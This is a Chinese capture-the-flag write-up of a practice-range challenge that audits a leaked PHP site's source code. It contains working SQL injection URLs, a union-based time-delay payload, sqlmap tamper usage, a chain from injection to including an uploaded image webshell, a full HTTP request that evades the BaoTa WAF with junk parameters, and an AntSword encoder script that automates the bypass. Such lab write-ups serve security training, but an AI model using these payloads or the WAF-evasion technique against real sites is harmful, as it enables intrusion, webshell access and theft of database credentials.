本篇是擂台赛A组的解题,主要包含了代码审计和漏洞利用的内容。
根据网站特征、建站系统的关键词等扫到根目录下的fw.zip文件,下载后可知是网站源码。
在本地搭建环境,首先要删除包内的install.lock文件,再重新安装。同时开始审计源码。这里主要分析漏洞利用链。
控制传参寻找对传参的处理是我们审计的一个核心思路。
常见的接收传参的方法有:
$_POST $_GET $_REQUEST $_COOKIE $_SERVER $GLOBALS
在传参的时候我们经常发现会使用strim函数进行处理
在这个函数中其实是去了一次空格,然后进行一次防XSS的HTML实体编码,然后再在自定义函数quotes中进行了一次魔术引号。
所以我们如果审计SQL注入,可以找不需要闭合的地方或者是strim不处理的地方。
既然要找数据库不需要闭合的地方就可以尝试进行全局搜索=”.$
数据库执行语句中的条件=凭借变量
注入一:
然后我发现了在app/lib/main/cartModule.class.php里面的第115行到130行
foreach获取$_REQUEST中的selected传参。然后进行键值分离,然后放入数据库进行运算,然后很明显$v这个地方不需要任何东西闭合,并且$_REQUEST没有任何处理,所以基本上是存在SQL注入的。
那么我们要如何调用,这个文件怎么调用呀?看看入口文件index.php
它包含了MainApp.class.php
然后我们查看这个文件
他的核心部分就是这里所写的,其实很简单,获取ctl和act的传参,然后根据获取到的传参,然后来决定包含什么文件,ctl就包含xxxMoudule.class.php
那么我们现在要访问cartModule.class.php,当然ctl就传参cart,然后他就会去包含这个文件。
然后在这里类被实体化,调用方法由$action来决定,所以当你传参
ctl=cart&act=check
其实就是包含了cartMoudule.class.php,且实例化了cartModule 这类,然后调用其中的check方法。
然后在这里我需要提一下,在MainApp.class.php文件中包含了这个main_init.php
然后在这个文件中的第17行出现了filter_injection($_REQUEST);
然后filter_injection函数是用来防止过滤的
所以我们注入也不是毫无过滤,不过这个过滤很容易绕过,用/**/代替空格就可以了。
我们再看那边的源代码,我们会发现,这个地方需要我们传参一个数组。
传参数据其实很简单selected[]=1 就是传参的数组,然后经过键值分离,就可以达到$v=1.
然后我们在这里尝试SQL注入,然后因为这里无论如何传参都查询不出数据,所以需要union帮助一下。我用这条语句证明存在SQL注入
index.php?ctl=cart&act=check&selected[]=1//union//select/**/sleep(5)
然后我觉得可以用Sqlmap来跑,我们可以使用—tamper=space2comment.py来使/**/来替换空格。[很明显可以获取数据]
注入二:
Mapi\Lib\evcModule.class.php
这个地方很明显将获取到的传参经过strim获取后放入数据库执行,那么我们要看看这个Mapi是如何被调用的,直接访问是不行的。
我们发现在wap\lib\main\evcModule.class.php中有个函数叫做call_api_core
这个函数是做什么的?
获取信息然后包含mapi里面的MainApp.class.php 然后实例化MainApiapp
选择其中的data方法。
因为这个魔术方法__construct所以被实例化自动调用,然后这个地方和我之前挖出的注入相同,就是获取了传参后去包含对应的文件然后通过ctl传参来决定初始化某个类,通过act来决定是哪个方法。那么到了这里很明显能够通过访问wap\lib\main\evcModule.class.php来达到让mapi里面的evcModule.class.php执行。
那怎么访问到wap\lib\main\evcModule.class.php,其实也是老把戏,通过访问wap\index.php
然后他包含了wap\lib\main\core\MainApp.class.php文件,然后其中通过ctl和act传参决定。
那么大致的流程知道了,我们怎么实现我们的攻击。
$GLOBALS[‘request’][‘exchange_sn’]
是最后会被拼接进数据库的,那么这个东西是怎么获取的?
在wap下的ecvModule文件
获取sn传参然后给了$param[‘exchange_sn’]
然后将这个传递给了$request,那么$param[‘exchange_sn’]=strim($_REQUEST[‘sn’])
并且将这个$param传入了call_api_core这个函数
然后$param变成了$request_param并且又定义了一些数组的元素
在mapi中的MainApp文件中变为了$GLOBALS[‘request’]
$GLOBALS[‘request’] = $request_param;
那么选中
$GLOBALS[‘request’][‘sn’] => $request_param[‘sn’] =>$param[‘exchange_sn’] => $_REQUEST[‘sn’]
所以我们只要传参sn就可以控制SQL注入,那么满足这个需要的是ctl=evc 然后我们访问的是wap下的index文件。
http://192.168.238.128/ft/wap/index.php?ctl=ecv&sn=999999%20or%20sleep(10)
很明显起了效果,但是不延时,然后我们去数据库直接执行下,发现不延时直接返回。
这个时候我注意到了这个表没有数据。mysql引擎优化会造成内容空忽略条件
所以需要让它有点数据,那么就联合查询吧。
很明显的延时了。那怎么获取数据呢?
手工构建测试就可以了。如果感觉麻烦的可以自建python脚本。
然后我们发现一个函数fetch访问这个函数,我们发现它是用于模板解析,然后我们发现现有的模板里面很多都有PHP代码,那么我们猜测模板解析会将模板内的东西当做PHP执行,那么我们看看能否控制这个函数
对什么文件进行模板解析是由我控制的,是$ecv_tpye[‘tpl’]决定究竟包含什么文件,然后$ecv_type由数据库得到的结果决定,通过查看数据库,我们发现第14个字段叫做tpl。那么说明第14个字段的输出会决定他究竟包含什么文件。
0x2e2e2f2e2e2f7075626c69632f6176617461722f3030302f30302f30332f35316176617461722e6a7067 其实就是个16进制
内容是: ../../public/avatar/000/00/03/51avatar.jpg
这个是我上传的图片马。利用就是这么的简单。
靶场复现
先注册账号,制作一个图片马,上传到头像的位置。
php文件内容:
查看头像位置,去掉_200x200
再访问可得到图片马 源文件。
在第二个注入点时,可以利用多传参的方法绕过宝塔检测。结果如下:
贴上请求包内容:
GET /wap/index.php?a0=s&a1=s&a2=s&a3=s&a4=s&a5=s&a6=s&a7=s&a8=s&a9=s&a10=s&a11=s&a12=s&a13=s&a14=s&a15=s&a16=s&a17=s&a18=s&a19=s&a20=s&a21=s&a22=s&a23=s&a24=s&a25=s&a26=s&a27=s&a28=s&a29=s&a30=s&a31=s&a32=s&a33=s&a34=s&a35=s&a36=s&a37=s&a38=s&a39=s&a40=s&a41=s&a42=s&a43=s&a44=s&a45=s&a46=s&a47=s&a48=s&a49=s&a50=s&a51=s&a52=s&a53=s&a54=s&a55=s&a56=s&a57=s&a58=s&a59=s&a60=s&a61=s&a62=s&a63=s&a64=s&a65=s&a66=s&a67=s&a68=s&a69=s&a70=s&a71=s&a72=s&a73=s&a74=s&a75=s&a76=s&a77=s&a78=s&a79=s&a80=s&a81=s&a82=s&a83=s&a84=s&a85=s&a86=s&a87=s&a88=s&a89=s&a90=s&a91=s&a92=s&a93=s&a94=s&a95=s&a96=s&a97=s&a98=s&a99=s&ctl=ecv&sn=1%20union%20select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,sleep(5) HTTP/1.1
Host: mawd16-20.aqlab.cn:23512
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=gut4vgrc9rn2d661ma2h2r0js6
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
同样的,利用这个bypass方法执行刚才上传上去的图片马,如图先转换16进制再解析
此处使用的是蚁剑,因为我们已经知道了宝塔的绕过方式。即在每个请求中注入多个垃圾参数。在编码器中将规则写入,保存为multi
'use strict';
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 生成一个随机变量名
data['a0']='s';data['a1']='s';data['a2']='s';data['a3']='s';data['a4']='s';data['a5']='s';data['a6']='s';data['a4']='s';data['a5']='s';data['a6']='s';data['a4']='s';data['a5']='s';data['a6']='s';data['a7']='s';data['a8']='s';data['a9']='s';data['a10']='s';data['a11']='s';data['a12']='s';data['a13']='s';data['a14']='s';data['a15']='s';data['a16']='s';data['a17']='s';data['a18']='s';data['a19']='s';data['a20']='s';data['a21']='s';data['a22']='s';data['a23']='s';data['a24']='s';data['a25']='s';data['a26']='s';data['a27']='s';data['a28']='s';data['a29']='s';data['a30']='s';data['a31']='s';data['a32']='s';data['a33']='s';data['a34']='s';data['a35']='s';data['a36']='s';data['a37']='s';data['a38']='s';data['a39']='s';data['a40']='s';data['a41']='s';data['a42']='s';data['a43']='s';data['a44']='s';data['a45']='s';data['a46']='s';data['a47']='s';data['a48']='s';data['a49']='s';data['a50']='s';data['a51']='s';data['a52']='s';data['a53']='s';data['a54']='s';data['a55']='s';data['a56']='s';data['a57']='s';data['a58']='s';data['a59']='s';data['a60']='s';data['a61']='s';data['a62']='s';data['a63']='s';data['a64']='s';data['a65']='s';data['a66']='s';data['a67']='s';data['a68']='s';data['a69']='s';data['a70']='s';data['a71']='s';data['a72']='s';data['a78']='s';data['a79']='s';data['a80']='s';data['a81']='s';data['a82']='s';data['a83']='s';data['a84']='s';data['a85']='s';data['a86']='s';data['a87']='s';data['a88']='s';data['a89']='s';data['a90']='s';data['a91']='s';data['a92']='s';data['a93']='s';data['a94']='s';data['a95']='s';data['a96']='s';data['a97']='s';data['a98']='s';data['a99']='s';data['a100']='s';data['a101']='s';data['a102']='s';data['a103']='s';data['a104']='s';data['a105']='s';data['a106']='s';data['a107']='s';data['a108']='s';data['a109']='s';data['a110']='s';data['a111']='s';data['a112']='s';data['a113']='s';data['a114']='s';data['a115']='s';data['a116']='s';data['a117']='s';data['a118']='s';data['a119']='s';data['a120']='s';data['a121']='s';
let randomID = `zzzzzzz`;//使用较长的参数名,使其自动顺位到尾部
data[pwd] = Buffer.from(data['_']);
// ########## 请在上方编写你自己的代码 ###################
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
编码与解码的选择如下:
成功连接到文件,获取到第二个flag
此时也可找到网站的数据库配置文件,位于public/db_config.php,获取数据库连接的账号密码,然后连接数据库,得到数据库中的flag。
关于后续提权的操作,因为靶场开启了防提权,进一步利用需涉及二进制漏洞,有兴趣的可以自己研究。
以上就是A组题的Writeup。关于后续活动请继续关注社区与公众号“掌控安全EDU”动态。
下一届红队擂台赛正在筹备中,预计将于三月中旬举行,敬请期待!
比赛通知群:421910690
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.